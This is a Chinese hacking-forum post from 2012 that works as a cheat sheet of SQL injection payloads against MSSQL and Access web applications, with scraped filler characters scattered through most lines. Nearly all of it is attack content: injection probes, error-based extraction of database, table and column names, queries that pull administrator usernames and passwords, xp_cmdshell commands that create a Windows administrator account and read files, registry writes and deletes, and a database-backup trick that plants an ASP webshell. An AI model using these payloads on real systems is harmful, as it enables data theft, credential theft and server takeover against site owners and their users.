找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2073|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
! ~) S4 i8 X# a, [) j% l2 I;and 1=1
' B, h0 m0 o9 K;and 1=2
9 V, Z# {4 S, R: T' w6 G- ?4 q: V9 C7 [3 s! t0 U5 u# M
2.初步判断是否是mssql
4 t1 b1 S) h" E) [8 X7 }9 k# J;and user>0 / J* m" o9 u: a4 D5 j/ M* `4 {/ ?

3 z" H8 S5 O. G* ~' K3.判断数据库系统 # U% ]$ H5 s6 Q3 w+ c
;and (select count(*) from sysobjects)>0 mssql 5 L% {9 z% ^: N) {/ E( U, ]
;and (select count(*) from msysobjects)>0 access 7 v& @8 m% @( K* [. ?

8 k" T) K& @0 p5 L0 a% T' M% w. C4.注入参数是字符
$ c! s* [: a1 |4 U0 C' P$ X0 S% S'and [查询条件] and ''=' ) C. W$ f) D( ~

% g# Z( e! G7 g; }) `4 |! Y5.搜索时没过滤参数的 , b! V2 b& m  J$ {* G! P7 K0 G
'and [查询条件] and '%25'=' : C& I8 Y# o" ~  v9 Q7 F8 b# @  b

, S& t' U5 E+ l+ t+ w, U5 r6.猜数表名 # Z. h/ @4 r/ }5 z
;and (select Count(*) from [表名])>0
2 |% L* g6 q( }1 E0 _! ]% e
; L- ^, m/ }; {' C3 `& N5 x% ]; N7.猜字段 , f- Y2 f1 ^5 R$ q
;and (select Count(字段名) from 表名)>0
$ r" R1 P4 s) f
$ H+ U4 A+ U! w+ R+ w8.猜字段中记录长度
' `" [4 o2 i/ L;and (select top 1 len(字段名) from 表名)>0 * l! d' L; G* w4 E& n

  D" y' g/ }; X: Z+ R9 X9.(1)猜字段的ascii值(access)
" c8 k0 j; l0 Y5 \;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
5 d/ c1 T$ ?- `* V7 p- S* V
) U8 ~6 T# j, q(2)猜字段的ascii值(mssql)
0 E2 j! d) L3 u' h. p+ h/ ]- }+ l" H;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
! p  B& `- @, \1 I2 }1 k# r# A, r6 T$ z& {
10.测试权限结构(mssql) : F" b" U4 h- K
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ u3 p" x( p/ l2 a" g;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2 u! s4 ~) l/ F
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ; H% Z. J' A7 U" l  }' c* P
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- / d7 E# b& ?8 A4 J( t6 `1 j2 E: M
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , Z" ]5 }* r6 w2 p) z  Q4 b
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
+ s0 X4 Q3 b2 p& _" Y4 D7 I;and 1=(select IS_MEMBER('db_owner'));--
1 u% g5 x+ m6 U$ r8 H9 K$ ~* Y' p* o6 T& m9 G# w! {
11.添加mssql和系统的帐户 9 |: J6 k2 L/ B( t
;exec master.dbo.sp_addlogin username;-- 7 U- `5 C# o' ?" x
;exec master.dbo.sp_password null,username,password;--
: _, p! H1 a4 r3 K;exec master.dbo.sp_addsrvrolemember sysadmin username;--
0 ~' d# y$ T) L! ^2 F% n;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 w; B) Y/ G% F1 G: |/ s( Z
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4 [. T" d& w* q) @) G/ |! r- r. q3 G
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
* l" T: k2 g. x. ]* }; Q- w$ c: W3 w
12.(1)遍历目录
0 d/ g& D# S9 E2 W4 h9 @' q;create table dirs(paths varchar(100), id int)
- x$ j) L+ a. K2 g* }8 m, j;insert dirs exec master.dbo.xp_dirtree 'c:\' ( h; x& T' A1 m8 Q; t) E$ y6 y1 ^
;and (select top 1 paths from dirs)>0 " B% q2 M: x! m6 D+ _1 X
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
6 ^9 A7 u2 U5 c' o8 X. {- N1 }' N0 h  a' M. N$ n! r
(2)遍历目录
0 s% `2 n9 r! q! K  p( x$ i. |;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- - I7 O5 O5 R# _" v7 n" r* K' b
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
! P, m% f3 h: z' k/ z! k5 V3 Y;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2 V  k5 F' ?' z
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
! p4 \# ~2 z) ^1 v5 I6 e  W& K;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 : O0 l: E! M9 a) m; m4 e
5 A! @0 D& E# X/ i
13.mssql中的存储过程
, m: _2 m0 c0 t$ V% m$ w. Bxp_regenumvalues 注册表根键, 子键
- M  E1 U# K' ~& m+ c' T;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
: p' I( F* ]/ L0 K0 E9 A+ oxp_regread 根键,子键,键值名   q  G" c9 c5 u$ @2 D# J
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( Z! f5 V* E" xxp_regwrite 根键,子键, 值名, 值类型, 值
* T; B5 I8 T/ I7 B% N值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 5 M; O* _4 `6 x+ f* h
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 6 x: T2 ?" F7 @* u+ h
xp_regdeletevalue 根键,子键,值名 6 M6 l# C! d5 j, X" P
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
! n4 ?: I$ l, K& W' a! d3 uxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
0 D) Z1 `8 v: s& L
: a" d6 k! u$ ^) s, s/ w; t+ Z14.mssql的backup创建webshell ) t' J* r5 d3 p1 j: T3 q5 U9 n$ }
use model % J4 c  [  _0 `, A" _9 K" g
create table cmd(str image); . ?. j+ y4 r6 W' f
insert into cmd(str) values ('<% Dim oScript %>');
; G! q# J6 e8 f. z8 @backup database model to disk='c:\l.asp'; 5 b: G; f& y- E

- D& m- Z- K! p+ a0 N/ g4 c15.mssql内置函数 ' l0 D. `" N1 v" d6 c. S+ P) \
;and (select @@version)>0 获得Windows的版本号 ' n' @+ c# H, }" h# v
;and user_name()='dbo' 判断当前系统的连接用户是不是sa , y5 G/ w1 G7 a
;and (select user_name())>0 爆当前系统的连接用户
& P" \) p( n% `;and (select db_name())>0 得到当前连接的数据库
+ @2 ]/ N$ R9 D. v+ V$ ?& m2 L7 w  g- d  r
# N9 U7 L- d$ ?2 Q

3 |' ~! |- E) Z! C' F& N2 g3 MMSSQL手注暴库' _: \; `1 Y( T' a  L
& I6 f5 |$ q% m: y9 S2 o4 H! m
1.暴出当前表名和列名7 n/ O$ F9 v2 S# o' K% E  j; e
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。2 Z8 m3 n7 f7 V

% u" L4 l7 T6 q+ Z; R. t- ?第一.爆出所有数据库名
8 Q' v! w5 @2 S/ T0 R& g; Q利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
7 Q- `$ q: i& @6 j第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
) X$ P6 |& B) Y8 Y
! S! U% R9 D+ _and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名% s$ \* ^$ j# A
1 t$ L7 G+ u- s# R

: n. Y4 F  I+ o* f% W) u1 b: \; o# P2 h9 q第二.爆出指定库中的所有表名
* v8 I4 G# }: n! q3 p' r3 V得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
9 D. C4 d7 k, m% g+ ?! d1 r' ~再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
! ~: s5 n3 M+ b" N& i; O6 _+ |, w: R' x: l' A% _
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--2 D0 J+ m+ f' B' R0 o
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
9 w! m+ B/ i( N2 Z7 _3 cand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
! |- L, g8 @. v$ b2 M7 ?" s4 C" b7 }, D
4.爆出指定表中的所有列名" R4 N2 o% P* w9 y* w% ~
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) , ~0 p" c9 j  o% k% R, Z
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
( B4 i( ^. L: g3 C2 E, X% Q
! E9 R  l7 u. E% ~" D3 z/ xand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名5 j* I1 F, D( R
5 h' ^! _  Z2 `% e% s# q
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
+ {# i6 G2 F6 B依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
$ T: B) a' [: W1 z& p$ J
) ^: I" a; Z- w* {/ ?
* X* j( p1 h/ i% K$ e! @and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
# I% S; k) ^! T: i! U- n$ x3 B2 N5 Z' c. ?
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名& W7 a; Y( ?' u

! h0 E5 x# u4 }5 _$ K7 xand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
. a2 `3 G& A* Z  J4 Z8 C# x# `2 e  M7 Z! n+ Y1 G1 @. E0 t

# L7 k8 n0 a$ K! C( e9 u& ^
; R/ p7 K* t# E% S/ E5.读取指定表中的数据$ d$ B: Y+ R2 Q7 K
, B( C  ?9 @* d: g
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
2 _/ {7 |) L; m. u' z; C0 F% p- y( X& a; ~, A
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--2 G/ \9 ^) Z" F* P

1 G/ ^9 V5 B+ Qand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码5 M8 Q0 O% B; m% Q$ A4 q, f" d1 j' R

3 }" V9 B) C) x! n/ K$ v
( Y. ?0 n6 k% T6 i1 F- p- ~# Aand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)7 {1 e2 g7 y4 O. w8 }
% U5 }+ ?7 o* |& a3 W
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
6 [' I9 g: _# I# Y8 V
0 X$ Q4 p  C# p9 ?& Dand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--: R7 T4 [1 B# X+ |- ]  W' d
4 A8 j: G2 P" Q' E6 F5 O- Q
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
4 q* L$ L& m3 O' r, f) w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表